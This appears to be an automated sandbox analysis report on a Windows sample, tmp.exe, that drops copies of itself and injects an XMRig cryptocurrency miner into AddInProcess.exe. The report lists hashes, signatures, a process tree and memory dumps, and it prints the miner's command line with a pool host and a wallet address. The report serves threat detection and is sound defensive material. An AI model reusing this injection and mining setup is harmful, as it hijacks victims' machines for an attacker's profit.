Analysis

  • max time kernel
    150s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/03/2023, 17:46

General

  • Target

    tmp.exe

  • Size

    2.8MB

  • MD5

    a1f7bd3a021e8c779ee8dab8b13aa875

  • SHA1

    d097479513bc57e740220dee1a03820b4f2b3b7c

  • SHA256

    bcb7f74cabff9b520fccd6afa1f8d6711fc004b4ad13c49849ee90978fc7873e

  • SHA512

    0e536c7a11cc7074d2847fd85eb8ac99e4e0d421d7f27838b55f14d500d8557dc7cde76b57f009e6b40118caa11f042305d926addadad5c241ae496a94e28a12

  • SSDEEP

    24576:NDVF5mkwaAr+A+7eGNkqFp4/Bma+mxY4eHGs8E9Ot09OX7l348A5NyvCh1WGn0LZ:LuL3r+A+/N/L4/BFxY+CYfORu4cIPA

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 54 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\tmp.exe
    "C:\Users\Admin\AppData\Local\Temp\tmp.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1068
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3688
    • C:\Users\Admin\AppData\Local\Temp\tmp.exe
      C:\Users\Admin\AppData\Local\Temp\tmp.exe
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4468
  • C:\Users\Admin\AppData\Roaming\tmp.exe
    C:\Users\Admin\AppData\Roaming\tmp.exe
    1⤵
    • Checks computer location settings
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1716
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2008
    • C:\Users\Admin\AppData\Roaming\tmp.exe
      C:\Users\Admin\AppData\Roaming\tmp.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3596
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o xmr.2miners.com:2222 -u 44NWGWCDxqX6iv5rBpy8SgZkuVg2N2ymnaZA4KcqF645XbfKpx9MvXXJ4MFSwiNQqcEMQ1Hge5bjmgYXsjG89gEF6M8tnFB.miners2 -p mkay --algo rx/0 --cpu-max-threads-hint=50
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:812
  • C:\Users\Admin\AppData\Roaming\tmp.exe
    C:\Users\Admin\AppData\Roaming\tmp.exe
    1⤵
    • Checks computer location settings
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1944
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:712
    • C:\Users\Admin\AppData\Roaming\tmp.exe
      C:\Users\Admin\AppData\Roaming\tmp.exe
      2⤵
      • Executes dropped EXE
      PID:4100

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          2f57fde6b33e89a63cf0dfdd6e60a351

          SHA1

          445bf1b07223a04f8a159581a3d37d630273010f

          SHA256

          3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

          SHA512

          42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\tmp.exe.log

          Filesize

          1KB

          MD5

          ba5882327d45507d8b5582f26a540fd5

          SHA1

          4f76eb5aab3cd0d1aec065f0db92c0bd396b3d5e

          SHA256

          569db31e2abb5a62680707d6fd9afa58daf67531f4e4691ca5388f24905acd81

          SHA512

          f605e77e6de02fe50a8ede15b7b7c404cd34fc7965d9834e238806cc7edf7adad38d3e7be5e4ea0f7242750122d7e76a6a3462e19fd6d5990017f1fc828f1053

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          1bad2704664b4c1a190586ec492be65f

          SHA1

          1c98e6645c66774152c184d23f7a3178ce522e7b

          SHA256

          5950586396814b38bfdbb86757839fc8c7ce3eb73577775473c29ce6be81fe3e

          SHA512

          668553c12f1e5560baba826d5c8b139d7c7e323b6aa4e3723aaca479850f898c147d63cb77d305d715044db1e75cf501d6502ca214c7ed05ded424b230893bb0

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          1bad2704664b4c1a190586ec492be65f

          SHA1

          1c98e6645c66774152c184d23f7a3178ce522e7b

          SHA256

          5950586396814b38bfdbb86757839fc8c7ce3eb73577775473c29ce6be81fe3e

          SHA512

          668553c12f1e5560baba826d5c8b139d7c7e323b6aa4e3723aaca479850f898c147d63cb77d305d715044db1e75cf501d6502ca214c7ed05ded424b230893bb0

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3mx125cf.lei.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Roaming\tmp.exe

          Filesize

          2.8MB

          MD5

          a1f7bd3a021e8c779ee8dab8b13aa875

          SHA1

          d097479513bc57e740220dee1a03820b4f2b3b7c

          SHA256

          bcb7f74cabff9b520fccd6afa1f8d6711fc004b4ad13c49849ee90978fc7873e

          SHA512

          0e536c7a11cc7074d2847fd85eb8ac99e4e0d421d7f27838b55f14d500d8557dc7cde76b57f009e6b40118caa11f042305d926addadad5c241ae496a94e28a12

        • C:\Users\Admin\AppData\Roaming\tmp.exe

          Filesize

          2.8MB

          MD5

          a1f7bd3a021e8c779ee8dab8b13aa875

          SHA1

          d097479513bc57e740220dee1a03820b4f2b3b7c

          SHA256

          bcb7f74cabff9b520fccd6afa1f8d6711fc004b4ad13c49849ee90978fc7873e

          SHA512

          0e536c7a11cc7074d2847fd85eb8ac99e4e0d421d7f27838b55f14d500d8557dc7cde76b57f009e6b40118caa11f042305d926addadad5c241ae496a94e28a12

        • C:\Users\Admin\AppData\Roaming\tmp.exe

          Filesize

          2.8MB

          MD5

          a1f7bd3a021e8c779ee8dab8b13aa875

          SHA1

          d097479513bc57e740220dee1a03820b4f2b3b7c

          SHA256

          bcb7f74cabff9b520fccd6afa1f8d6711fc004b4ad13c49849ee90978fc7873e

          SHA512

          0e536c7a11cc7074d2847fd85eb8ac99e4e0d421d7f27838b55f14d500d8557dc7cde76b57f009e6b40118caa11f042305d926addadad5c241ae496a94e28a12

        • C:\Users\Admin\AppData\Roaming\tmp.exe

          Filesize

          2.8MB

          MD5

          a1f7bd3a021e8c779ee8dab8b13aa875

          SHA1

          d097479513bc57e740220dee1a03820b4f2b3b7c

          SHA256

          bcb7f74cabff9b520fccd6afa1f8d6711fc004b4ad13c49849ee90978fc7873e

          SHA512

          0e536c7a11cc7074d2847fd85eb8ac99e4e0d421d7f27838b55f14d500d8557dc7cde76b57f009e6b40118caa11f042305d926addadad5c241ae496a94e28a12

        • C:\Users\Admin\AppData\Roaming\tmp.exe

          Filesize

          2.8MB

          MD5

          a1f7bd3a021e8c779ee8dab8b13aa875

          SHA1

          d097479513bc57e740220dee1a03820b4f2b3b7c

          SHA256

          bcb7f74cabff9b520fccd6afa1f8d6711fc004b4ad13c49849ee90978fc7873e

          SHA512

          0e536c7a11cc7074d2847fd85eb8ac99e4e0d421d7f27838b55f14d500d8557dc7cde76b57f009e6b40118caa11f042305d926addadad5c241ae496a94e28a12

        • memory/712-4550-0x000002371F9D0000-0x000002371F9E0000-memory.dmp

          Filesize

          64KB

        • memory/712-4546-0x000002371F9D0000-0x000002371F9E0000-memory.dmp

          Filesize

          64KB

        • memory/712-4551-0x000002371F9D0000-0x000002371F9E0000-memory.dmp

          Filesize

          64KB

        • memory/712-4549-0x000002371F9D0000-0x000002371F9E0000-memory.dmp

          Filesize

          64KB

        • memory/712-4548-0x000002371F9D0000-0x000002371F9E0000-memory.dmp

          Filesize

          64KB

        • memory/712-4547-0x000002371F9D0000-0x000002371F9E0000-memory.dmp

          Filesize

          64KB

        • memory/812-4530-0x0000000140000000-0x00000001407CD000-memory.dmp

          Filesize

          7.8MB

        • memory/812-4533-0x000002548C110000-0x000002548C150000-memory.dmp

          Filesize

          256KB

        • memory/812-4554-0x000002548C150000-0x000002548C170000-memory.dmp

          Filesize

          128KB

        • memory/812-5612-0x000002548C150000-0x000002548C170000-memory.dmp

          Filesize

          128KB

        • memory/812-4534-0x0000000140000000-0x00000001407CD000-memory.dmp

          Filesize

          7.8MB

        • memory/1068-148-0x00000200C9D80000-0x00000200C9D90000-memory.dmp

          Filesize

          64KB

        • memory/1068-135-0x00000200C9D80000-0x00000200C9D90000-memory.dmp

          Filesize

          64KB

        • memory/1068-133-0x00000200ADDD0000-0x00000200AE0AE000-memory.dmp

          Filesize

          2.9MB

        • memory/1068-134-0x00000200C9B10000-0x00000200C9B32000-memory.dmp

          Filesize

          136KB

        • memory/1716-2329-0x000002693C8C0000-0x000002693C8D0000-memory.dmp

          Filesize

          64KB

        • memory/2008-2342-0x000002EAFB9E0000-0x000002EAFB9F0000-memory.dmp

          Filesize

          64KB

        • memory/2008-2343-0x000002EAFB9E0000-0x000002EAFB9F0000-memory.dmp

          Filesize

          64KB

        • memory/2008-2344-0x000002EAFB9E0000-0x000002EAFB9F0000-memory.dmp

          Filesize

          64KB

        • memory/2008-2341-0x000002EAFB9E0000-0x000002EAFB9F0000-memory.dmp

          Filesize

          64KB

        • memory/2008-2345-0x000002EAFB9E0000-0x000002EAFB9F0000-memory.dmp

          Filesize

          64KB

        • memory/2008-2346-0x000002EAFB9E0000-0x000002EAFB9F0000-memory.dmp

          Filesize

          64KB

        • memory/3596-4519-0x000001EF898F0000-0x000001EF89900000-memory.dmp

          Filesize

          64KB

        • memory/3596-2485-0x000001EF898F0000-0x000001EF89900000-memory.dmp

          Filesize

          64KB

        • memory/3596-4520-0x000001EF898F0000-0x000001EF89900000-memory.dmp

          Filesize

          64KB

        • memory/3596-4531-0x000001EF898F0000-0x000001EF89900000-memory.dmp

          Filesize

          64KB

        • memory/3596-4532-0x000001EF898F0000-0x000001EF89900000-memory.dmp

          Filesize

          64KB

        • memory/3688-151-0x000001E4373B0000-0x000001E4373C0000-memory.dmp

          Filesize

          64KB

        • memory/3688-150-0x000001E4373B0000-0x000001E4373C0000-memory.dmp

          Filesize

          64KB

        • memory/3688-149-0x000001E4373B0000-0x000001E4373C0000-memory.dmp

          Filesize

          64KB

        • memory/3688-147-0x000001E4373B0000-0x000001E4373C0000-memory.dmp

          Filesize

          64KB

        • memory/3688-146-0x000001E4373B0000-0x000001E4373C0000-memory.dmp

          Filesize

          64KB

        • memory/3688-145-0x000001E4373B0000-0x000001E4373C0000-memory.dmp

          Filesize

          64KB

        • memory/4468-168-0x000001BFF7DA0000-0x000001BFF7DB0000-memory.dmp

          Filesize

          64KB

        • memory/4468-217-0x000001BFF7E20000-0x000001BFF7EF8000-memory.dmp

          Filesize

          864KB

        • memory/4468-219-0x000001BFF7E20000-0x000001BFF7EF8000-memory.dmp

          Filesize

          864KB

        • memory/4468-215-0x000001BFF7E20000-0x000001BFF7EF8000-memory.dmp

          Filesize

          864KB

        • memory/4468-213-0x000001BFF7E20000-0x000001BFF7EF8000-memory.dmp

          Filesize

          864KB

        • memory/4468-211-0x000001BFF7E20000-0x000001BFF7EF8000-memory.dmp

          Filesize

          864KB

        • memory/4468-209-0x000001BFF7E20000-0x000001BFF7EF8000-memory.dmp

          Filesize

          864KB

        • memory/4468-207-0x000001BFF7E20000-0x000001BFF7EF8000-memory.dmp

          Filesize

          864KB

        • memory/4468-205-0x000001BFF7E20000-0x000001BFF7EF8000-memory.dmp

          Filesize

          864KB

        • memory/4468-203-0x000001BFF7E20000-0x000001BFF7EF8000-memory.dmp

          Filesize

          864KB

        • memory/4468-201-0x000001BFF7E20000-0x000001BFF7EF8000-memory.dmp

          Filesize

          864KB

        • memory/4468-199-0x000001BFF7E20000-0x000001BFF7EF8000-memory.dmp

          Filesize

          864KB

        • memory/4468-197-0x000001BFF7E20000-0x000001BFF7EF8000-memory.dmp

          Filesize

          864KB

        • memory/4468-195-0x000001BFF7E20000-0x000001BFF7EF8000-memory.dmp

          Filesize

          864KB

        • memory/4468-193-0x000001BFF7E20000-0x000001BFF7EF8000-memory.dmp

          Filesize

          864KB

        • memory/4468-191-0x000001BFF7E20000-0x000001BFF7EF8000-memory.dmp

          Filesize

          864KB

        • memory/4468-189-0x000001BFF7E20000-0x000001BFF7EF8000-memory.dmp

          Filesize

          864KB

        • memory/4468-187-0x000001BFF7E20000-0x000001BFF7EF8000-memory.dmp

          Filesize

          864KB

        • memory/4468-185-0x000001BFF7E20000-0x000001BFF7EF8000-memory.dmp

          Filesize

          864KB

        • memory/4468-183-0x000001BFF7E20000-0x000001BFF7EF8000-memory.dmp

          Filesize

          864KB

        • memory/4468-181-0x000001BFF7E20000-0x000001BFF7EF8000-memory.dmp

          Filesize

          864KB

        • memory/4468-179-0x000001BFF7E20000-0x000001BFF7EF8000-memory.dmp

          Filesize

          864KB

        • memory/4468-177-0x000001BFF7E20000-0x000001BFF7EF8000-memory.dmp

          Filesize

          864KB

        • memory/4468-175-0x000001BFF7E20000-0x000001BFF7EF8000-memory.dmp

          Filesize

          864KB

        • memory/4468-173-0x000001BFF7E20000-0x000001BFF7EF8000-memory.dmp

          Filesize

          864KB

        • memory/4468-171-0x000001BFF7E20000-0x000001BFF7EF8000-memory.dmp

          Filesize

          864KB

        • memory/4468-169-0x000001BFF7E20000-0x000001BFF7EF8000-memory.dmp

          Filesize

          864KB

        • memory/4468-166-0x000001BFF7E20000-0x000001BFF7EF8000-memory.dmp

          Filesize

          864KB

        • memory/4468-164-0x000001BFF7E20000-0x000001BFF7EF8000-memory.dmp

          Filesize

          864KB

        • memory/4468-162-0x000001BFF7E20000-0x000001BFF7EF8000-memory.dmp

          Filesize

          864KB

        • memory/4468-160-0x000001BFF7E20000-0x000001BFF7EF8000-memory.dmp

          Filesize

          864KB

        • memory/4468-158-0x000001BFF7E20000-0x000001BFF7EF8000-memory.dmp

          Filesize

          864KB

        • memory/4468-157-0x000001BFF7E20000-0x000001BFF7EF8000-memory.dmp

          Filesize

          864KB

        • memory/4468-154-0x0000000000400000-0x00000000004A6000-memory.dmp

          Filesize

          664KB